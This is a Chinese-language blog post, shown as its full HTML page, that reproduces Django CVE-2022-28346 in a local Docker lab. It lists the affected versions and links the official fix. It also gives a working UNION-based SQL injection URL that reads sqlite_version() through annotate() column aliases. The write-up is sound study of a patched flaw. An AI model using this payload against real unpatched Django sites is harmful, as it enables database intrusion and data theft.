<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>从零开始的Django CVE-2022-28346复现 | Mox的笔记库</title><meta name="keywords" content="Working"><meta name="author" content="MocusEZ"><meta name="copyright" content="MocusEZ"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="Django CVE-2022-28346复现">
<meta property="og:type" content="article">
<meta property="og:title" content="从零开始的Django CVE-2022-28346复现">
<meta property="og:url" content="https://www.mocusez.site/posts/a3ce.html">
<meta property="og:site_name" content="Mox的笔记库">
<meta property="og:description" content="Django CVE-2022-28346复现">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://pic.rmb.bdstatic.com/bjh/29237cc6d142cd24900c87c3da00f2b3.png">
<meta property="article:published_time" content="2022-08-14T03:26:26.000Z">
<meta property="article:modified_time" content="2022-08-14T03:26:26.000Z">
<meta property="article:author" content="MocusEZ">
<meta property="article:tag" content="Working">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://pic.rmb.bdstatic.com/bjh/29237cc6d142cd24900c87c3da00f2b3.png"><link rel="shortcut icon" href="/img/title.jpg"><link rel="canonical" href="https://www.mocusez.site/posts/a3ce"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//hm.baidu.com"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?c85c9eaebc158345532b86397a6dded9";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: {"path":"/search.xml","preload":false,"languages":{"hits_empty":"找不到您查询的内容：${query}"}},
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '天',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '从零开始的Django CVE-2022-28346复现',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-08-14 11:26:26'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.2.0"><link rel="alternate" href="/atom.xml" title="Mox的笔记库" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/img/head.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://pic.rmb.bdstatic.com/bjh/29237cc6d142cd24900c87c3da00f2b3.png')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Mox的笔记库</a></span><div id="menus"><div id="search-button"><a class="site-page social-icon search"><i class="fas fa-search fa-fw"></i><span> 搜索</span></a></div><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">从零开始的Django CVE-2022-28346复现</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2022-08-14T03:26:26.000Z" title="发表于 2022-08-14 11:26:26">2022-08-14</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-08-14T03:26:26.000Z" title="更新于 2022-08-14 11:26:26">2022-08-14</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/%E6%97%A5%E5%B8%B8%E7%AC%94%E8%AE%B0/">日常笔记</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="从零开始的Django CVE-2022-28346复现"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"><i class="fa-solid fa-spinner fa-spin"></i></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h1 id="从零开始的Django-CVE-2022-28346复现"><a href="#从零开始的Django-CVE-2022-28346复现" class="headerlink" title="从零开始的Django CVE-2022-28346复现"></a>从零开始的Django CVE-2022-28346复现</h1><blockquote>
<p>本篇适合有Django开发基础，但没有SQL注入经验的人阅读</p>
</blockquote>
<p>Django的sql漏洞，一直以为Djano的ORM不会有漏洞，直到我看了Django的官方漏洞列表，每隔几个月就有修补……</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://docs.djangoproject.com/zh-hans/4.0/releases/security/">Django安全问题档案</a></p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/0916c911b7c0e199b0d4788a12e24670.png" alt="image.png"></p>
<p>4月份的修补，热热还能吃，CNVD评价是高危，看看怎么回事</p>
<h2 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h2><blockquote>
<p><strong>漏洞编号：CVE-2022-28346</strong></p>
<p>攻击者使用精心编制的字典， 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法，可导致这些方法在列别名中受到SQL注入攻击</p>
</blockquote>
<p>不懂发生了什么，拉个靶场看一下情况</p>
<h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a><strong>影响版本</strong></h3><blockquote>
<p>Django Django &gt;&#x3D;2.2，&lt;2.2.28<br>Django Django &gt;&#x3D;3.2，&lt;3.2.13<br>Django Django &gt;&#x3D;4.0，&lt;4.0.4</p>
</blockquote>
<p>官方PR修补</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48">[3.2.x] Fixed <a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/advisories/GHSA-2gwj-7jmv-h26r">CVE-2022-28346</a> – Protected QuerySet.annotate(), aggreg…</a></p>
<h2 id="分析-amp-复现"><a href="#分析-amp-复现" class="headerlink" title="分析&amp;复现"></a>分析&amp;复现</h2><p>先看靶场代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/DeEpinGh0st/CVE-2022-28346.git</span><br></pre></td></tr></table></figure>

<p>只有两个路由，第一条负责初始化数据库，第二条负责验证漏洞，使用sqlite作为数据库，基于Django 3.2.11 </p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/551ee1a4aa0628f82e2ec75afb2069ad.png" alt="image-20220813213629724.png"></p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/761ab9d7beac7271c9111ba055f32a79.png" alt="image.png"></p>
<p>数据表就id和name两个字段</p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/162ed7f08f9f253d72bad67ed0331078.png" alt="image.png"></p>
<p>触发漏洞点</p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/eac452eee4682168d39f90b4da09d074.png" alt="image.png"></p>
<p>了解一下QuerySet.annotate()是什么东西</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://docs.djangoproject.com/zh-hans/3.2/ref/models/querysets/#annotate">https://docs.djangoproject.com/zh-hans/3.2/ref/models/querysets/#annotate</a></p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/1433e095e7aa5b0b46b9515a8df7e086.png" alt="image.png"></p>
<p>官方示例也是用count方法演示，最终在SQL语句中变成COUNT函数</p>
<p>这里引入脚本之家对于aggregate的说明</p>
<blockquote>
<p>聚合函数都是在django.db.models模块下的，具体的聚合函数有Avg、Count、Max、Min、Sum。count用于计算数量</p>
</blockquote>
<p>拉取并启动漏洞镜像</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker pull s0cke3t/cve-2022-28346</span><br><span class="line">docker run -d -p 8000:8000  s0cke3t/cve-2022-28346</span><br></pre></td></tr></table></figure>

<p>注意，如果是本地部署的话，主界面只会显示OK字样</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8000/demo?field=admin</span><br></pre></td></tr></table></figure>

<p>看起来的效果跟QuerySet.all()一样</p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/78588043bbf9c87675800a9d51ce745c.png" alt="image.png"></p>
<p>可能会有小伙伴对 <strong>unpacking operator</strong> (<code>*</code>) 不太熟悉，这个属于 <a target="_blank" rel="noopener external nofollow noreferrer" href="https://www.python.org/dev/peps/pep-0448/">PEP48</a> 引入的的操作，官方文档里面给出了案例</p>
<blockquote>
<p>This PEP proposes extended usages of the <code>*</code> iterable unpacking operator and <code>**</code> dictionary unpacking operators to allow unpacking in more positions, an arbitrary number of times, and in additional circumstances.</p>
</blockquote>
<p>**号用来拆分字典，常被用来读取kwargs内容（获取dict中的value），多用于函数传参，下面是一个example</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a = &#123;<span class="string">&#x27;a&#x27;</span>:<span class="number">2</span>, <span class="string">&#x27;c&#x27;</span>: <span class="number">1</span>&#125;</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fun</span>(<span class="params">a,c</span>):</span><br><span class="line">    <span class="built_in">print</span>(a)</span><br><span class="line">    <span class="built_in">print</span>(c)</span><br><span class="line">fun(**a)</span><br></pre></td></tr></table></figure>

<p>SQL注入POC</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:8000/demo?field=demo.name&quot; FROM &quot;demo_user&quot; union SELECT &quot;1&quot;,sqlite_version(),&quot;3&quot; --</span><br></pre></td></tr></table></figure>

<p>配合db.connection，可以看到实时的sql语句</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.db <span class="keyword">import</span> connection</span><br><span class="line"><span class="comment">#添加到末尾处</span></span><br><span class="line"><span class="built_in">print</span>(connection.queries)</span><br></pre></td></tr></table></figure>

<p>sqlite_version()是sqlite的函数，返回当前当前 SQLite 服务器版本，配上前面的1和后面的3正好形成3列，而–则把后半部分语句给无效化</p>
<p><img src="https://dd-static.jd.com/ddimg/jfs/t1/199614/18/27165/18847/63326843E9be80dc2/62792c766e221665.png" alt="image-20220813225815495.png"></p>
<p>可以看到打印出来的SQL语句不一样</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> &quot;demo_user&quot;.&quot;id&quot;, &quot;demo_user&quot;.&quot;name&quot;, <span class="built_in">COUNT</span>(&quot;demo_user&quot;.&quot;name&quot;) <span class="keyword">AS</span> &quot;admin&quot; <span class="keyword">FROM</span> &quot;demo_user&quot; <span class="keyword">GROUP</span> <span class="keyword">BY</span> &quot;demo_user&quot;.&quot;id&quot;, &quot;demo_user&quot;.&quot;name&quot;</span><br></pre></td></tr></table></figure>

<p>出来的是一个3列的表</p>
<p><img src="https://pic.rmb.bdstatic.com/bjh/3642358e0c3991efe17c671e0c7506c6.png" alt="image.png"></p>
<p>sql注入产生了</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> &quot;demo_user&quot;.&quot;id&quot;, &quot;demo_user&quot;.&quot;name&quot;, <span class="built_in">COUNT</span>(&quot;demo_user&quot;.&quot;name&quot;) <span class="keyword">AS</span> &quot;demo.name&quot; <span class="keyword">FROM</span> &quot;demo_user&quot; <span class="keyword">union</span> <span class="keyword">SELECT</span> &quot;1&quot;,sqlite_version(),&quot;3&quot; </span><br><span class="line"><span class="comment">--&quot; FROM &quot;demo_user&quot; GROUP BY &quot;demo_user&quot;.&quot;id&quot;, &quot;demo_user&quot;.&quot;name&quot;</span></span><br></pre></td></tr></table></figure>

<p><img src="https://pic.rmb.bdstatic.com/bjh/504aae3c6d2e3a99b6d63c350827605c.png" alt="image.png"></p>
<p>只能说这个注入方式，首先得知道django ORM 的写法，其次还得找到拼接点，属实不易</p>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>Docker镜像提供方以及他们对于漏洞发生点的分析：</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://www.freebuf.com/vuls/332893.html">乌特拉安全实验室丨Django CVE-2022-28346 SQL注入分析</a></p>
<p>其他收录了漏洞的仓库</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/H3rmesk1t/Django-SQL-Inject-Env">https://github.com/H3rmesk1t/Django-SQL-Inject-Env</a></p>
<h2 id="往年的漏洞"><a href="#往年的漏洞" class="headerlink" title="往年的漏洞"></a>往年的漏洞</h2><p>我最早应该是看到这个雷神众测的这篇，没注意收藏，所以变成了本文的分析</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://mp.weixin.qq.com/s/wtgR2snLeNOXtjal38CZIQ">Django order_by SQL注入漏洞分析（CVE-2021-35042）</a></p>
<h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>在我那短暂的参与蓝鲸智云项目的时间里，并没有用上QuerySet.annotate()、aggregate()和extra()这些方法。官方最终以加入check_alias对聚合参数进行检查作为修补方案。个人感觉触发漏洞的概率不大。</p>
<p>做蓝鲸智云的项目确实开拓了个人的视野，使我有机会接触DJango和DRF框架，我也是第一次知道ORM这么一个新兴事物。这个漏洞也在提醒我们：ORM的存在并不能彻底杜绝SQL注入的情况，相关SQL注入的漏洞依然有很大机会被挖掘出来。</p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://www.mocusez.site">MocusEZ</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://www.mocusez.site/posts/a3ce.html">https://www.mocusez.site/posts/a3ce.html</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc/4.0" rel="external nofollow noreferrer" target="_blank">CC BY-NC 4.0</a> 许可协议。转载请注明来自 <a href="https://www.mocusez.site" target="_blank">Mox的笔记库</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://pic.rmb.bdstatic.com/bjh/29237cc6d142cd24900c87c3da00f2b3.png" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/posts/957e.html"><img class="prev-cover" src="https://pic.rmb.bdstatic.com/bjh/b7a34f08ace78bce581479be23d9fa2a.png" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">报告概要翻译：OBFUSCATING C++ PROGRAMS VIA CONTROL FLOW FLATTENING</div></div></a></div><div class="next-post pull-right"><a href="/posts/8c05.html"><img class="next-cover" src="https://pic.rmb.bdstatic.com/bjh/4438a0fcba2aebee575617d3b157d5dd.jpeg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">2022CISCN(西北区赛)-The shinning</div></div></a></div></nav><hr/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/head.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">MocusEZ</div><div class="author-info__description">探索未曾设想的道路</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/mocusez" rel="external nofollow noreferrer" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:285918468@qq.com" rel="external nofollow noreferrer" target="_blank" title="Email"><i class="fas fa-envelope"></i></a><a class="social-icon" href="/atom.xml" target="_blank" title="RSS"><i class="fas fa-rss"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">迎接新的明天</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84Django-CVE-2022-28346%E5%A4%8D%E7%8E%B0"><span class="toc-number">1.</span> <span class="toc-text">从零开始的Django CVE-2022-28346复现</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%8F%E8%BF%B0"><span class="toc-number">1.1.</span> <span class="toc-text">描述</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="toc-number">1.1.1.</span> <span class="toc-text">影响版本</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%86%E6%9E%90-amp-%E5%A4%8D%E7%8E%B0"><span class="toc-number">1.2.</span> <span class="toc-text">分析&amp;复现</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99"><span class="toc-number">1.3.</span> <span class="toc-text">参考资料</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BE%80%E5%B9%B4%E7%9A%84%E6%BC%8F%E6%B4%9E"><span class="toc-number">1.4.</span> <span class="toc-text">往年的漏洞</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BB%93%E8%AF%AD"><span class="toc-number">1.5.</span> <span class="toc-text">结语</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/posts/3e9f.html" title="RMM观察与初探"><img src="https://z1.ax1x.com/2023/10/21/piF47TA.md.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="RMM观察与初探"/></a><div class="content"><a class="title" href="/posts/3e9f.html" title="RMM观察与初探">RMM观察与初探</a><time datetime="2023-10-21T04:30:00.000Z" title="发表于 2023-10-21 12:30:00">2023-10-21</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验"><img src="https://s1.ax1x.com/2023/09/09/pP6qXOU.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="计算机网络课设——UDP/TCP/TLS Socket实验"/></a><div class="content"><a class="title" href="/posts/5e44.html" title="计算机网络课设——UDP/TCP/TLS Socket实验">计算机网络课设——UDP/TCP/TLS Socket实验</a><time datetime="2023-09-09T07:10:00.000Z" title="发表于 2023-09-09 15:10:00">2023-09-09</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/cd44.html" title="JQuery的XSS初探"><img src="https://s1.ax1x.com/2023/09/08/pPyvO0O.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="JQuery的XSS初探"/></a><div class="content"><a class="title" href="/posts/cd44.html" title="JQuery的XSS初探">JQuery的XSS初探</a><time datetime="2023-09-08T04:30:00.000Z" title="发表于 2023-09-08 12:30:00">2023-09-08</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/5862.html" title="生产实习记录"><img src="https://s1.ax1x.com/2023/09/02/pPBH058.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="生产实习记录"/></a><div class="content"><a class="title" href="/posts/5862.html" title="生产实习记录">生产实习记录</a><time datetime="2023-09-02T13:51:00.000Z" title="发表于 2023-09-02 21:51:00">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）"><img src="https://s1.ax1x.com/2023/08/28/pPa8tlF.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Fedora-CoreOS配置与试用（2023年）"/></a><div class="content"><a class="title" href="/posts/9a9b.html" title="Fedora-CoreOS配置与试用（2023年）">Fedora-CoreOS配置与试用（2023年）</a><time datetime="2023-08-28T11:35:00.000Z" title="发表于 2023-08-28 19:35:00">2023-08-28</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2023 By MocusEZ</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div><div class="footer_custom_text"><a href="http://beian.miit.gov.cn/" rel="external nofollow noreferrer"  style="color:#f72b07" target="_blank">闽ICP备2021003009号</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><a id="to_comment" href="#post-comment" title="直达评论"><i class="fas fa-comments"></i></a><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div id="local-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">搜索</span><span id="loading-status"></span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="is-center" id="loading-database"><i class="fas fa-spinner fa-pulse"></i><span>  数据库加载中</span></div><div class="search-wrap"><div id="local-search-input"><div class="local-search-box"><input class="local-search-box--input" placeholder="搜索文章" type="text"/></div></div><hr/><div id="local-search-results"></div></div></div><div id="search-mask"></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><script src="/js/search/local-search.js"></script><div class="js-pjax"><script>function loadWaline () {
  function insertCSS () {
    const link = document.createElement("link")
    link.rel = "stylesheet"
    link.href = "https://cdn.jsdelivr.net/npm/@waline/client/dist/waline.min.css"
    document.head.appendChild(link)
  }

  function initWaline () {
    const waline = Waline.init(Object.assign({
      el: '#waline-wrap',
      serverURL: 'https://waline.mocusez.site',
      pageview: ,
      dark: 'html[data-theme="dark"]',
      path: window.location.pathname,
      comment: false,
    }, null))
  }

  if (typeof Waline === 'function') initWaline()
  else {
    insertCSS()
    getScript('https://cdn.jsdelivr.net/npm/@waline/client/dist/waline.min.js').then(initWaline)
  }
}

if ('Waline' === 'Waline' || !false) {
  if (false) btf.loadComment(document.getElementById('waline-wrap'),loadWaline)
  else setTimeout(loadWaline, 0)
} else {
  function loadOtherComment () {
    loadWaline()
  }
}</script></div><script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/1df8ba05.js","daovoice")
</script><script>var isChatBtn = false
daovoice('init', {
  app_id: '1df8ba05',},{
  launcher: { 
     disableLauncherIcon: isChatBtn // 悬浮 ICON 是否显示
  },
});
daovoice('update');

if (isChatBtn) {
  var chatBtnFn = () => {
    var chatBtn = document.getElementById("chat_btn")
    chatBtn.addEventListener("click", function(){
      daovoice('show')
    });
  }
  chatBtnFn()
} else {
  if (false) {
    function chatBtnHide () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: true // 悬浮 ICON 是否显示
        },
      });
    }
    function chatBtnShow () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: false // 悬浮 ICON 是否显示
        },
      });
    }
  }
}</script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>